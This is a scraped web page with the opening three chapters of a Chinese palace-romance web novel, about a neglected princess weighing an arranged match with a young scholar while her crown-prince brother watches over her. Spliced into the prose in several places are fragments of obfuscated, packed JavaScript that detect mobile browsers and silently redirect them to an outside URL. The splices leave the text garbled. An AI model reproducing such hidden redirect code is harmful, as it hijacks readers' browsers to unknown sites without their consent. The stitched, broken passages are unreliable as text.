《被清冷皇兄觊觎后》 1. 第一章 春末夏初,惠风和暖,太子从江南回来了。 “我觉得那探花配不上你,”小侯爷皱着眉头,边走边道,“不过区区五品官,又没有家世,贵妃娘娘怎么就看中了他?” 云棠走得着急,太初殿马上要下朝了,她要赶在下朝时,亲眼瞧一瞧这位探花郎,到底是何模样。 当然了,也顺便接一接数月不见的太子哥哥。 年初,哥哥领了下江南查贪腐的差事,一去就是三月。 昨晚刚到京,今日就要上早朝,估计都没睡几个时辰,这太子也不好当啊。 小侯爷瞧她着急去见探花郎的模样,拽了拽她的衣袖,“你当真要嫁给贺开霁?” “没有。” 云棠撩开风吹到额前的碎发,又拍了拍被他扯着的粉紫海棠花团纹的大袖襦衣。 这件襦衣是她去年及笄时太子哥哥送的,今天特意穿过来让他瞧一瞧。 “我只是想看看他是何模样,若长得难看,今日去母妃那我也好有话推脱。” 母妃月前就与她说了招驸马一事,她没想好,太子哥哥也不在京,就一直拖着。 但昨日母妃又让方嬷嬷来传话,让她今日去蓬莱殿用午膳。 肯定又要提驸马一事。 小侯爷没了声响,贺开霁是去年中的探花,殿试上陛下对他青眼有加。 只是其过于风流倜傥的样貌和文风,不像状元气候,就钦点他做了探花,又破例让他进御史台,任侍御史,要知道,去年的状元郎现在还在翰林院里苦熬着当修撰呢。 想到此处,他又劝道,“这选驸马,也不能光看容貌吧。” 云棠没搭话。 她选驸马,主要是看父皇母妃想把她嫁到哪里。 公主这名号,听起来尊贵,实际不堪得很。 等两人紧赶慢赶到平章台夹道时,还是错过了下朝时辰,只有个别大臣零零散散走着。 云棠扶着汉白玉阑干,伸着脖子往大殿方向看,“你给我指指,贺开霁在不在那里?” 小侯爷眯着眼瞧去,本朝的官员按照朝服颜色区分品阶,贺开霁是五品,朝服当是浅绯色。 放眼看去,或紫或绿,“没有。” 云棠抿着嘴,眉头微微蹙起,这紧赶慢赶得还是晚了。 早知道应该早点溜出来。 今日母妃那该怎么交代,心中郁结一片。 “诶?!”正殿里又走出来一群人,打头的是太子殿下。 他身穿明黄金线绣宝相花纹织锦朝服,头戴三梁冠,腰间配蓝田玉带,玉带上垂着香囊和环佩,整个人英气俊朗,气质温润,在一众臣子的簇拥下更显得卓然出尘。 小侯爷看向其身后,一个浅绯色朝服,腰间挂着鱼符的年轻男子。 “那个那个!” “浅绯色那个!” 云棠眼睛一亮,朝着他指的方向看去。 俩人这边的动静,似乎惊动了刚踏出太初殿的那群人,云棠看过去时,正好对上太子的视线。 她高兴地朝太子哥哥挥手,宽大的丝绸袖摆落到手肘处,露出一截白皙光洁的藕臂。 太子神色微动,原本清冷肃穆的眼角眉梢都带上几分悦色。 转身朝身后的官员微微颔首后,朝俩人走来。 云棠朝太子身后的那一群人看去,浅绯色那位身姿挺拔、容貌俊俏,看着还怪好看的。 “这探花郎人品如何?” 小侯爷与他吃过几盏酒,酒品不错,也不爱拈花惹草。 为官清正,见不正之事,敢于弹劾进谏,算是个好官。 但这样就可以尚公主了? 小侯爷认为远远不够,所以他说:“马马虎虎吧。” 云棠一向对长得好的人格外宽容。 但话本子上都说书生文弱,她可不想嫁一个不行的夫君。 “后日陛下要去京郊围猎,百官大概都会去,我们也去凑个热闹。” “我看你是想看探花郎马上功夫如何吧。” 小侯爷与她一同长大,对她知之甚深,她转下眼珠子,他就知道这人要作什么妖。 两人说话间,太子已走到跟前。 “太子哥哥!”云棠仰着头,笑意盈盈地转了个圈,“好看吗?” 宽大轻柔的裙摆、随风飘荡的轻纱披帛,如同春日盛放的海棠般,粉若明霞,清新脱俗。 李蹊嘴角微微扬起,将人从头看到脚,点点头带着她上了自己的马车。 “那我呢?!”小侯爷在外头跳脚! “你带着云棠逃学还有理了。“ 太子带着警示的声音从金丝楠木的马车里传出来,小侯爷瞬间就蔫巴了。 云棠撩起马车的帷裳,钻出一个圆脑袋,“你赶紧回去,太傅若是问起来,就说我还在太医院躺着,起不来呢。” “你今天就不去进学了?!” “等会儿要去母妃宫里用午膳,下午去不去的,再说吧。” 太子正坐着在用水净手,听到这话,手上动作一顿,道。 “不想吃的,不用吃。” “知道知道,”云棠没把这话放心上,殷勤地递过布巾,“哥哥,你好像瘦了。” 脸颊两侧线条的更加锐利,擦手时露出手腕骨骼分明,皮肤下青色血管若隐若现。 太子慢条斯理地擦着手,任由她看,“江南多蛀虫,稻少食缺,人自然消瘦。” 擦干水渍,抬眼看她,笑道:“你看着倒圆润不少,可见一点都不想我。” 云棠挺直腰板,“怎么会!我每天都会想你的!” 他提起茶壶,边倒茶边问,“怎么想的?” “我每天都在用你送的毛笔写字,一拿起笔就会想到你,现在笔都写秃了。” 太子轻笑一声,将茶杯推到她手边,“正好,我从江南给你带了一套新安文房四宝,已经送到你宫里了。” 云棠:...... 她露出一个又苦涩又恭维的笑,“哥哥,你真是这世上对我最好的人了。” 说者无心,听者有意。 太子垂眸看着两人交叠在地的衣摆,轻柔的烟紫纱裙随着马车的行进,一下一下轻轻晃动,拂过他明黄的衣摆和黑色的长靴。 心神意动,手指微微蜷了一下。 在江南遭遇刺杀时,他的脑里、心里除了家国,首先冒出来的就是眼前人。 “哥哥,后天京郊围猎,你去吗?” 他移过视线,端起手边的茶杯喝了一口茶水,略略清嗓后道:“江南官场贪腐案未完,让思明陪着你玩吧。” 云棠觉得哥哥从江南回来后有些不一样了。 眉眼之间愈发凌厉,用她简单的语言来形容,就是更像一个国家太子。 但如此,好像离她更远了一些。 她犹豫半晌,没有把探花郎的事情告诉他。 政务繁忙,估计连饭都没时间好好吃,她自己的事情应该自己处理。 “你想我去?”太子见她沉默着不知在想什么,问道。 云棠摇摇头,一双眼睛闪着细碎的光,有些依恋,“只是太久没有见到哥哥,一下子不知道说些什么。” 太子很满意她这般情态,忍不住摸了摸她头发上的紫粉色绒花。 将人送到蓬莱殿后,他径直回了东宫,还有一班詹事在等着议贪腐案的后续。 云棠去年及笄后就搬离了蓬莱殿,独自居住在昭和殿,母妃免了她日常请安,母女俩自从除夕夜宴后就再未见过。 连带着与探花郎的亲事也一直是方嬷嬷在传话。 “公主,娘娘正在与淮王说话,请您在偏殿等候。”侍女道。 云棠点点头,乖巧地坐在一侧的黄花梨圈椅里等着。 她五岁那年遇上叛乱,父皇慌慌张张地带着百官和后妃南迁。 兵荒马乱的迁都途中,公主不甚丢了。 在外的那些年,她磕到了头,一点从前的事情都记不起来。 曾经以为回京后她会有母亲,她的母亲会因为失而复得而更加珍爱她。 只是回来后才发现,母亲有可以依仗的淮王哥哥,自己于她而言,可有可无罢了。 阳光从门边一点点往殿内走,慢慢地蔓延至她的脚边。 一个时辰过去,已到正午。 她招来门口站着的小宫女,“去前头问问母妃用过午膳了没有?” 小宫女福了一福,半晌后回来道:“公主,贵妃娘娘请您过去一道用午膳。” 云棠心里一喜,起身跟着小宫女往静幽堂走,那是母妃日常起居的地方。 入得堂内,膳食早已上桌,桌旁坐着两个人,一个是母妃,另一个是她嫡亲的哥哥,淮王。 两人说说笑笑,母慈子孝,只是在她进来后,两人都收了笑容,殿中的氛围一下就沉闷了下来。 “请母妃安。”云棠朝沈贵妃行跪拜礼后,挨着凳子边缘坐了。 两人均在饮茶,都已经用完膳。 侍女添了一副碗筷上来,她垂眼看着那双金镶玉箸与翠绿的琉璃碗,不是滋味。 若不是差宫女去问,母妃早已忘记了她还等在偏殿吧。 也可能是在磨她的性子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457640|169590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈贵妃略略抬眼看了一眼云棠,眉如青山含黛,双眸亮如秋水,琼鼻秀挺、薄唇嫣红,是个即便在美女如云的皇宫,也能一眼出众的美人。 更难得的是这美貌中带着的几分纯净的灵动与聪慧。 大约是心里有几分愧疚,她重新拿起玉箸,给女儿夹了一块茄鲞,“用膳吧。” 云棠执筷箸的手顿了顿。 而后看向母妃,依旧是雍容华贵、凤仪万千的模样,笑着谢了恩,“谢母妃。” 然后夹起那块茄鲞,吃了。 旁边的李阙却冷笑一声,道:“皇妹好志气啊,太子爷刚回来就巴巴翘课去接他下朝。” 又转头朝贵妃道:“母妃是没看到,太子爷带她上了马车,亲自送到咱们宫里,不知道的还以为太子爷才是她哥哥。” 沈贵妃眉尖蹙起,她将伺候的宫人都挥退出去。 “太子与你虽是兄妹,但你已及笄,往后不能再同坐马车,”沈贵妃停了停,又道,“何况阙儿也是皇子,陛下圣体不佳,大位之争愈演愈烈,你也要他多想一想,毕竟他才是你亲哥哥。” 这些话只能听听,不能细想,一旦细想,只会徒增伤心。 味同嚼蜡般吃了几口,母妃却没有停下说教的意思。 她放下玉箸,麻木地看着一桌精美膳食,轻声问道。 “所以母妃是为了淮王哥哥,才要我嫁给贺开霁吗?” “砰”的一声,茶盏被重重地放到桌上,声音如鼓点捶在云棠剧烈跳动的心上。 这句逾规的话戳中了贵妃的痛脚,一双美目带着愠色,“云棠,我对你从来没有要求,如今及笄了,除了我,满宫里谁还会为你筹谋婚事。” “难道要等着你父皇将你和亲去鞑靼、倭寇,才高兴?!才后悔吗?!” 殿内一片寂静,气氛凝固如冰,唯有窗外榕树上的知了不时叫着。 方才吃下的茄鲞有了反应,手背上开始发痒。 “是我错了。”云棠低头认错,“我会去见贺开霁。” 沈贵妃见她低头,愠色稍收。 她与这个女儿自小分离,两人母女感情淡薄,但好在女儿孝顺,她的话总还是听的。 云棠手上、身上的瘙痒感越来越明显,她沉默地忍耐着。 当年她刚回宫时,没人知道她对茄子过敏,连她自己也不知道。 直到那日生辰,与母妃一道用晚膳,吃了茄鲞,回去后就开始发作。 可一个爹不疼娘不爱又没有根基的公主,宫人仆从大多怠慢,她也不敢声张自己生病,万幸太子哥哥刚好来给她送礼物,救了她一命。 深宫阴冷,还好有他仁慈。 东宫,慈庆殿。 太子议完事后,一直候着的医士进来给他换药。 此次江南官场贪腐案几多凶险,官官相护、腐败成风,上攫国帑,下刮民膏,唯利是贪。 而江南是朝廷赋税重地,江南蛀,则国危,他下了死手,誓要一举肃清江南贪腐,却在线索指向户部尚书崔钟林时,遭遇刺杀。 什么程度的贪腐是对方即便背上刺杀储君的罪名都要动手? 户部尚书出身崔氏,在任十余年,深得父皇信任,他母亲是清和郡主,自小在太后身边长大。 京城勋贵众多,崔氏算是其中最为耀眼的那一颗。 “太子爷!”小侯爷叼着支不知哪里摘来的凤仙花,一路吮着花蜜走进来。 骤然见到厚厚的白色绷带自右肩缠绕到左肋下,嘴里的花掉了地,“你这是咋了?” “剑伤入了左肺腑,太子爷近日切不可操劳,当多加保养为上。” 医士嘱咐完,便跟着宫人出去开方领赏钱。 太子的近身太监赵玉服侍着穿衣、束发,"这件事不可声张,你也不要告诉阿棠。" 他将遇刺的消息瞒得严实,只有几个心腹知晓,在没探明虚实之前,他不想打草惊蛇。 “那你这...这伤...”小侯爷原本翘了学,是想找他说说云棠的婚事,他是劝不住了,但太子说话在她那一贯管用,“你这伤明日还能去猎场吗?” 他转眼已换上了一件玄色金线绣宝相花纹圆常服,头戴错金攒丝玛瑙金冠,矜贵又雅致。 这两人在跟他打什么哑谜? 不过是寻常狩猎,何以一问再问,他心里起了疑,但面上淡然。 “公务忙,不去。” 小侯爷蔫巴兮兮,“贵妃娘娘想让云棠嫁贺开霁,她今日去瞧了,看样子是瞧上那个小白脸了。” 太子闻言,眸中寒芒一闪,周身气势凛然。 2. 第 2 章 云棠回到昭和殿已到未时,未等轿撵落地,听雨脚步飞快地往殿内走。 等云棠回到寝殿时,她已捧了一只玉制八宝药瓶上来。 “公主快些吃药吧,身上已经红了一大片了。” 殿中伺候的人都站在落地罩之外,听雨一边服侍她吃药,一边小声抱怨。 “娘娘怎么总也记不住您吃不了茄子,回回用膳都有那道茄鲞。” 母妃不是记不住,是没把她放在心上,回回有茄鲞是因为,那是淮王喜爱的菜肴,也是母妃喜欢的菜肴。 “公主怎么就不拒绝呢,吃了自己多遭罪。” 云棠宽了外衫,瞧着蔓延到手肘的红斑,“父母赐,怎敢辞,再说比起刚进宫那会儿,现在的日子已经好很多啦。” 在外漂泊十年的浮萍,到了这宫里也不过是一朵镶了金边的浮萍。 万幸的是,这朵浮萍总算长大成人,现在想想若是能嫁人离了皇宫,也不见得是件坏事。 只是听说贺开霁颇有些恃才傲物,她可不想招个祖宗进来。 “把我的骑装找出来,咱们等会选一选。”明日的猎场她得漂漂亮亮地去,嫁不嫁是后话,气势不能输。 “今年公主单独开殿居住,一应用度贵妃娘娘全然不管,今年的骑装还没做呢。” “那就把去年的找出来。” 两人说着话,外头有宫人进来传话,说是东宫送了东西过来。 领头的是东宫掌事姑姑清月,身后跟着四个太监,手上各捧着物件儿。 “公主殿下金安,太子爷听闻公主明日要去猎场,吩咐奴婢送了些骑装、马鞭过来,让公主挑着喜欢的。” 她一招手,太监们便把手里的物件齐齐摆放在八仙桌上。 那几件骑装流光华彩、触手丝滑,是难得的好料子,样式也好看,马鞭以玉为柄,手柄穿孔以丝线坠上珍珠玛瑙,十分精美。 “另外太子爷给您选了一匹温顺的母马,已经着人送到猎场。” 云棠点点头,“替我谢谢太子哥哥。” 又道,“姑姑进来说话。” 她行到里间,从妆奁盒中拿出一只小巧精致的香囊,“这是他离京前交代我绣的,姑姑替我转交给哥哥吧。” 清月在宫中多年,是个十成十的人精,想来自己拿着这只香囊回去,殿下未必高兴。 “既然是公主亲手所绣,当面送给殿下岂不是更好?” 话是这么说没错,但这香囊绣得不好看,当面送就要当面丢脸。 她还挺想爱惜一下自己的颜面。 于是把香囊塞到嬷嬷手里,“姑姑就帮帮我吧~” 清月瞧着手里的烫手山芋,几不可见地叹了口气。 待东宫的人走后,听雨笑着道,“公主,在这宫里,太子殿下才是您的依靠。” 云棠摇摇头,“太子哥哥是好人,愿意照顾我,但我不能因此就事事都推给他,更何况母妃和皇后娘娘一向不睦。” “可皇后娘娘对公主也很好啊。” “所以我更不能做让他们为难的事情,他们对我好,我也要为他们多想一想,如此感情才会长久。” “若是贵妃娘娘和淮王殿下也能这样想就好了。”听雨低声抱怨了一句。 但云棠这边已翻篇,她选了一件青绿色骑装,兴致勃勃,“快,我要试试这件,看起来格外潇洒俊逸。” 清月回到东宫,屏退左右,自个儿一个人往殿下书房去。 门口通传的小太监见姑姑来了,小声道:“姑姑,户部周侍郎在里头,殿下吩咐了不许打扰。” 清月想了想轻重,“你进去通传,就说我是从昭和宫回来的。” 小太监麻溜地进去,又飞快出来,给姑姑打了帘子请她进去。 次日,天朗气清,日光和暖。 皇家猎场占地数千顷,早前上林监已经过来打点好,眼下王公贵臣或射猎、或跑马,好生畅快恣意! 云棠一袭青绿色骑装,束着高马尾,手里挥舞着一只珠玉串饰马鞭,珠串相撞,十分清脆悦耳。 马蹄踏过刚出芽的嫩草,风里带着青草香与春末的凉意,迎面吹来,带起她的发尾、衣摆,像一只欲振翅而飞的青雀。 “小侯爷!你怎么还像小时候那样,怎么都追不上我呀!” 云棠大笑着回头喊道,清脆的声音落在风里,飘去陆思明耳边。 陆思明虽是个武将的儿子,但长年待在京城里,再加之他又懒惫,养出了一身软乎乎、胖嘟嘟的肉。 眼下已是气喘吁吁,无力地朝她招招手,让她等一等自己。 云棠一勒缰绳,刚要调转马头回去时听到一阵喧哗声,放眼望去,是两队人在打马球。 赛场之上,贺开霁骑着一匹黑色大马,手持球杆驰骋于敌友之间。 骏马嘶鸣,少年英姿飒爽,以漂亮的一球终结了比赛。 云棠远远地看着,贺开霁远远地望过来,穿过汹涌的人潮,两人视线交汇间,谁也没有退让,都是直直地看着彼此。 “探花郎,领赏吧。” 宫人将一支和田玉如意步摇送到了他手里。 他接了再望过去时,已不见公主身影。 云棠正和小侯爷慢慢地走着马,小侯爷刚才也瞧见了贺开霁,看云棠的模样,想来是更满意了。 昨日与太子殿下说起此事,他竟一点都不着急,也没有阻拦的意思。 一点都指望不上。 “球品即人品,他球打得干净漂亮,做人肯定差不到哪里去,”云棠甩着手里的马鞭玩,细数优点,“有颜值,有人品,有体力,还有才华,不错不错。” 就知道她看上了! 小侯爷撇撇嘴,满脸不屑。 云棠瞟他一眼,颇有些耐心地劝道,“你看我就是个不受宠的公主,万幸如今四海太平,不然第一个被送出去和亲的就是我,若是嫁给贺开霁,我就能留在京里,再者他没什么家世,官职也不高,我正好狐假虎威不怕被他欺负了去。” “他没有你想的那么好。”小侯爷刚想再说些什么,就见到太子一行走了过来。 云棠也瞧见了,立刻飞身下马,朝人跑了过去。 太子穿着一身纯白团花纹窄袖圆领袍,腰间玉带挂着一只鎏金香薰球并一只小巧的香囊,长身玉立犹如高雅方外之士。 他看着云棠今日似是刻意装扮过,一向不喜花钿的她在额间贴了一朵白海棠。 心中升腾起一层郁气,但面上依旧春风和煦。 见她鬓边有些湿,拿出一方绸帕,刚想要为其拭汗,就被云棠接了过去。 “哥哥,你怎么来了?” 太子答道,“案牍劳形,看得烦闷出来走走。” 小侯爷不及她矫健,虚胖的人汗流浃背,袖中没有绸帕,伸手要接过云棠手里的,却被太子爷拿了过去。 “我还没擦呢!” 太子不动声色地将绸帕放入怀中,微微的湿意滑过他的指腹,与食指上的花盾金色戒。 他略略挑眉,垂下去的手指不为人知地摩挲着。 云棠的视线落在那只香囊上,她的女红是真的不好,绣了拆拆了绣,才勉强出来一个能看的。 但这样戴在太子哥哥身上,像个光风霁月的仙人腰间绑了只山间小野鸡。 不仅有辱斯文,还暴露了她的缺点。 “哥哥,这香囊你若是喜欢,挂在寝殿里岂不是更好?” 最好是无人看到、无人关注的地方。 太子嘴角微微翘起,龙心大悦之余大发善心,让身后的宫人递了绸帕过去给小侯爷擦汗。 “好,那就挂在床榻上。” 云棠无所谓,只要别带出来丢人就成,她抬眼一瞧,不远处的帐篷外站着一群人,正往这边看。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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为人臣者,最想要的莫过于一个可以为之臣服的君王,不用阿谀奉承、同流合污,干干净净地为天地立心,为生民立命。 他抬手正了正衣冠,朝着太子方向走去,侍卫放行后,进前请安。 “太子殿下金安。” 太子眼中的温和退却,凉凉地看向来人,“孤安。” 而后单刀直入,“听闻你与户部尚书有亲。” 贺开霁心中一寒,未立即回答。 如今朝中分两派,一派以太子殿下为首,另一派拥护淮王,以中书令沈用晦为首,而户部尚书作为陛下的钱袋子,又有着清和郡主这个母亲,虽一向与中书令不睦,却也没有倒戈向太子,而是扎扎实实地抱着陛下这条大腿。 他看不清楚这错综复杂的局面,小心措辞。 “臣与尚书大人是同乡,祖上曾有亲,臣入京后也曾受尚书照顾,在尚书府住过一段时日。” 太子心如明镜,知道这只是明面上的关系,背地里关系远比这要深厚许多。 “尚书为官清廉,你既与他相交,想必是一脉相承。” 尚书清廉? 贺开霁出身江南,崔氏在家乡的行径京城人不知,他却是知晓的,此次太子下江南想必知之更深。 崔尚书担不起清廉二字,但贪腐二字绰绰有余。 若被太子认定成贪官污吏一党,岂非仕途无望。 思及此处,脑门立刻冒出一层搏汗,他急于为自己辩解。 “殿下,臣...” 太子没有再给他说话的机会,领着云棠往王帐走。 “听思明说,你对他颇有好感?” 云棠如实点头,哥哥待人一向温润有礼,方才却有些无礼。 他不喜欢探花郎吗? 太子沉默片刻,道:“贺开霁是难得的青年才俊,父皇亦是金口赞许过,但婚嫁是终身大事,须慎重。” 江南贪腐案未结,户部尚书暗地里浑身脏水,他不会让云棠在这样的情况下,嫁给一个与崔钟林有亲的官员,平白搭上终身。 小侯爷听他终于说了句人话,立刻搭腔,“就是就是,我还听说这贺开霁住尚书府时,和尚书女儿来往极密。” 云棠停下脚步,原本灵动清澈的双眸似染上一层霜雾。 这就有些棘手了,她不会一脚踩进了棒打痴男怨女的烂俗话本子吧? 3. 第 3 章 “你若不想嫁,没人能勉强你,”太子将人带进王帐落座,“即便是贵妃娘娘也不可。” 小侯爷见云棠动摇,十分卖力地添柴加火,“对对对,只要你说一句不想,剩下的太子爷都会帮你落定。” 云棠却垂着眼眸,不言语。 她抬眼看向小侯爷,眼中带着几分思索,耳听为虚,眼见才为实,说不准只是流言而已。 外头都还传母妃待我十分亲厚,犹如掌上明珠呢。 “我再想想。”云棠道。 小侯爷见她执迷不悟,还要劝说,却被太子一个眼神拦下。 他手上把玩着那只似凤凰又似山鸡的香囊,笑道:“终身大事,是要多想想。” 他确实不着急,事出突然,他也需要时间去摸清楚这里面的猫腻。 江南贪腐案要查到什么深度,查到哪一级为止,仍需父皇定夺,他手里握有户部尚书侵占良田、私吞官银的人证物证,但能不能呈上去是另一回事。 毕竟崔钟林是父皇的钱袋子,打狗还要看主人。 可如今他却又拿着贺开霁与淮王一党勾手指头,婚事若非父皇首肯,那他就是昏了头亲手给自己挖坟。 无论是江南的贪腐案还是云棠的婚事,关键还是父皇的态度。 但要派谁去试探父皇的态度,而不会招致猜疑? 同时又能让云棠对这门亲事失望? “父皇知道贵妃想要贺开霁尚公主吗?”太子问道。 云棠答道:“我不知道,已经许久不曾见父皇了,母妃也不曾说过。” 自她当年回宫后,就鲜少面见父皇,母妃也不愿意她见,她就鲜少主动去请安拜见了。 太子点点头,道:“去玩吧,出去跑跑马,不用为此事烦心,万事有我。” 皇家猎场之上,人人恣意畅快,可贺开霁经过方才一场,内里心惊肉跳,面上黯淡无光。 他耷拉着鼻子眼睛早早回了自家宅邸,空坐书房,对着墙上那一副太子镇守京师图,发呆。 寒窗苦读数十载,如今科举入仕正是大展抱负之时,却被敬仰的君王疑为奸佞之徒,心中灰暗一片。 “家主,不知何人又往咱家院子里丢了这封信。”老仆忠伯将信放到书案上。 他任职大理寺,负责监督、弹劾百官,时常会有人往他家院子里丢一些讼状。 现下他无心去管别人的冤情闲事,随手丢在一边。 但过了片刻,终究敌不过那颗忠直为民之心,拆了那份封信。 原本靠着椅背而坐的人骤然挺直了腰背,捏着文书的指尖都泛了白,越往下看越是心惊。 这是一封举报崔氏强放印子钱、侵占良田的诉状,字里行间直指崔尚书,后面更是附上了一份放贷的字据为据。 春末夏初的傍晚,已带上了几分暑气,贺开霁却是一身寒凉。 冥冥之中,他察觉到这一封信,可能是他扶摇直上的关键机会。 可这富贵危险,稍有不慎就是粉身碎骨,得再给自己贴上一枚护身符,以保能够进退得当。 他的视线慢慢落在那只步摇上,金色的落日光束给白玉镀上一层暖色。 他想起了猎场上公主那双灵动中带着坚毅的眼睛。 明华公主,李云棠,就是一张再好不过的护身符。 四月初五,皇后娘娘在御花园里办了一场送春雅集,遍邀京中的贵女、公子一道赏花做茶。 御花园中晚开的牡丹依旧艳丽华美,更有杏花、海棠、雪樱等花种争相点缀,太液池水映着白云,池边杨柳依依。 贵女们或坐秋千,或斗草,或蒙眼作画,三五成群,好不热闹。 云棠陪在皇后娘娘身旁,给她做茶。 陆皇后与陛下算是青梅竹马、少年夫妻,当年的陛下非嫡非长,多年筹谋,又依仗着陆氏的兵权,最终夺得皇位。 登基之后的陛下,给了陆氏皇后之位后,娘娘却好像慢慢失去了夫君。 皇后娘娘今年不过四十有五,鬓边已现白,“人还是要年轻才好看啊。” 云棠顺着她的视线看去,手上点茶的动作未停,“人都有年轻的时候,但皇后娘娘却只有您一个。” 陆皇后膝下只有一个太子,算是爱屋及乌,对云棠也颇有偏爱,即便她的生母是沈贵妃。 她接过云棠递过来的茶,略吃一口,“手艺越发好了,听说你母妃给你寻了一门亲事?” 云棠朝太液池边的八角亭努努嘴,“就是那个,叫贺开霁,去年的探花郎。” “风姿俊逸、仪表堂堂,看着与你倒是相配。” “娘娘也觉得好么?但太子哥哥总让我慎重。” 陆皇后唇角的笑容落了下去。 知子莫若母,即便李蹊在别人面前伪装得天衣无缝,也逃不过亲生母亲的审视。 云棠还是早出嫁为好。 “父母尚在,你的婚姻大事轮不到他做主,”陆皇后给云棠拿了一块芸豆酥,她惯常喜欢吃的,“这探花郎今日可曾送你花了?” 送春雅集,看似是玩闹风雅事,实际是为了男女相看,若有看对眼的,便以赠花为信。 两人说话间,一群青春少女说说笑笑走了过来,为首的是户部尚书之女崔昭然。 “皇后娘娘金安,臣女们方才蒙眼作画,您瞧瞧哪副最好。” 陆皇后认得这姑娘,崔尚书为陛下掌管户部多年,膝下只得这么一个女儿,且是老来得女,宠得更是如珠如宝。 “昭然的画技越发好了。” 崔尚书是陛下的心腹,皇后待崔氏女自然高看一眼,褪下手上的一只玉镯,让刘公公赏了下去。 崔昭然喜上眉梢,跪下双手接过,“臣女谢皇后娘娘赏赐!” 起身后又看向皇后身边坐着的公主,俏丽的眉眼中带了几分戏谑之色,“听闻公主画得一手好丹青,怎么今日不下场?” “昭然妹妹怕是听错了吧,我听国子监的先生说,公主在四艺上一向不大通呢。” “若是如此,与才高八斗的探花郎就不相宜了。” 云棠听着她们的奚落,并不以为意,也懒得争一时的长短。 更何况这雅集是皇后娘娘安排的,她更不能在娘娘的送春雅集上闹事,给娘娘和太子哥哥添麻烦。 皇后朝刘公公使了个眼色,垂眸吃茶。 刘公公挥着拂尘往前走,绕着贵女们一边挥一边道,“这入了夏,蚊虫多,贵人们小心莫要被叮咬了。” 一群人躲避不及,被扫了好几下,纷纷知趣地告退了。 云棠与娘娘对视一眼,轻笑出声,“谢娘娘为我解围。” “是你在为了我受委屈。”皇后娘娘拍了拍她的肩膀,“玩去吧,今儿思明怎么没跟你一块?” “他最近好像忙得很,每日里一下学人就跑没影了。”云棠道。 陆思明最近挖空了心思在寻贺开霁的短处,但跟踪了这么多天,这人除了在大理寺上值,就是在家里读书,一应邀约通通推拒,十分清心寡欲、端正清直的模样。 他甚至让明月楼的花魁娘子在他下值回家的路上,与其偶遇扔春花,连这都没能撬动他那颗少男心。 “你说他会不会真的是个正人君子?”陆思明与太子爷坐在假山的八角亭中,他拿着只春桃“咔嚓咔嚓”咬着吃。 太子爷站了起来,走在栏杆边站着往右下方望去。 崔昭然与贺开霁站在紫罗兰花荫下,而不远处,云棠带着侍女也在看着。 太子清冷的眸中带起一点笑意。 陆思明也跟着看,看到贺开霁接了崔昭然手里的香囊后,他恼火地扔了手里的春桃。 “就说这厮不是好人!”他气愤地要冲下假山,替云棠教训这种三心二意的渣男。 “等着,”太子一把薅住他,“阿棠能自己处理。” 陆思明人胖胖,但脑袋瓜好使,“你央着皇后娘娘提早办这送春雅集,就是为了让阿棠看这个?” 太子爷不置可否,只一味看着云棠。 “她不会装作没看到走开吧?”陆思明有点担心,她一向对沈贵妃无有不应,说不定会吃了这个哑巴亏嫁过去。 “不会,我养出来的人,怎会怯懦。” 话音刚落,果然就瞧见云棠抬脚往花荫处走去。 “御花园的景致再好,也没有才子会佳人的话本子好看。”云棠摇着团扇笑着走上前道。 两人见到公主,躬身屈膝行礼。 云棠却未让其平身,只是歪着头困惑道:“崔尚书的府邸是不够大吗,二位需要到这御花园诉衷肠?” 贺开霁已存了要尚公主的心,立刻开口撇清关系。 “回殿下话,臣与崔姑娘并无衷肠要诉,只是去年在尚书府住过一段时日,得尚书夫人照顾,与崔姑娘有一面之缘。” 崔昭然倏地转头瞪向他,他怎么会如此说! 曲着膝盖难受,不等公主叫起便要起身反驳。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“殿下,臣有求娶之心,臣可允诺,婚后一切以公主为先,若违此诺,当叫我无后而终。” 云棠冷冷笑一声,像是听到了滑稽之语,反问。 “你有没有后是什么重要的事吗?” 贺开霁提起衣摆跪下陈情,“对公主而言,自是无足轻重,但对家父家母而言,是顶天之事。我朝以孝治天下,臣渴望仕途有为,也渴望公主垂怜,此生定不会违背此诺。” “话说起来总是容易又好听,但我不信。” 贺开霁起身折下一支紫罗兰,“臣会让殿下信的。” 云棠垂着眼看着那支花,又掀起眼皮看向他,面庞刚柔并济,英挺的眉眼中带着期待与忐忑。 今日收下这花,传到母妃耳朵里,就是自己首肯了这桩婚事。 这是在逼我。 虽然并不期待夫君情爱,只想找个安稳之所,但她所嫁之人,第一要的,就是品行端正。 贺开霁自科举以来,日日被人捧在高处,捧得久了就开始把别人都当傻子。 但要怎么拒掉这门母妃眼中的好婚事,还得从长计议。 起码不是现在。 假山之上的小侯爷瞬间炸了锅,指着云棠的手都在抖,“她...她...她是昏了头吗?!” 太子爷的面色也不复之前轻松,眸色沉沉,如山雨欲来之态。 他转身下了假山,径直朝云棠处去。 待两人行到花荫处,贺开霁已离开。 “你是疯了吗?干嘛接他的花?!”小侯爷一把抢过她手里的花,扔到地上不算完,还踩了几脚。 这莫名其妙的发什么邪火,“为何不接,一朵花而已。” “这是送春雅集!你不知道送花的意思吗?!” 太子拿出绸帕想给她擦手,刚触到她温热的指尖,青峻的眉眼微微一皱。 最终只是将绸帕放到她手里,让她自己擦。 “阿棠是公主,今日可以接他的花,明日也可以接别人的花,何必受规则约束。” 云棠笑道:“哥哥说得对。” 小侯爷被这一番话震地好半晌说不出话,合着就他一个人如此纯情。 呵呵一声,“你们兄妹倒是都挺流氓的。” 云棠随意擦了两个,要把绸帕还回去,太子却道:“再擦。” “哥哥,花不脏。”云棠不明其中意思,太子哥哥像是在生气? 花当然不脏,但送花的人心思脏。 